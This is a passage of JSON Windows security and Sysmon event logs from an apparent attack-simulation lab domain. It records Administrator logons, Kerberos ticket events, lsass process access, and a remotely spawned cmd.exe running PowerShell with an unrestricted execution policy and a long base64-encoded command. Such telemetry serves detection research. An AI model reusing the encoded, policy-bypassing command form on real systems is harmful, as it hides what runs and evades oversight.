Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{8EE10763-3EB2-D480-3B70-A866218C59A8}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222331,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{8EE10763-3EB2-D480-3B70-A866218C59A8}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{8EE10763-3EB2-D480-3B70-A866218C59A8}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222332,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11F2C4\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{8EE10763-3EB2-D480-3B70-A866218C59A8}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x11f2c4","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{8EE10763-3EB2-D480-3B70-A866218C59A8}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222333,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11F2C4\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x11f2c4","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222334,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11F1FD\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x11f1fd","LogonType":"3","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8542,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.685\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.685","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8543,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.693\r\nProcessGuid: {90617006-4377-5F2D-0000-001064F21100}\r\nProcessId: 1696\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4375-5F2D-0000-002007ED1100}\r\nLogonId: 0x11ED07\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4375-5F2D-0000-001040ED1100}\r\nParentProcessId: 876\r\nParentImage: C:\\Windows\\System32\\winrshost.exe\r\nParentCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.693","ProcessGuid":"{90617006-4377-5F2D-0000-001064F21100}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4375-5F2D-0000-002007ED1100}","LogonId":"0x11ed07","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4375-5F2D-0000-001040ED1100}","ParentProcessId":"876","ParentImage":"C:\\Windows\\System32\\winrshost.exe","ParentCommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8544,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.685\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 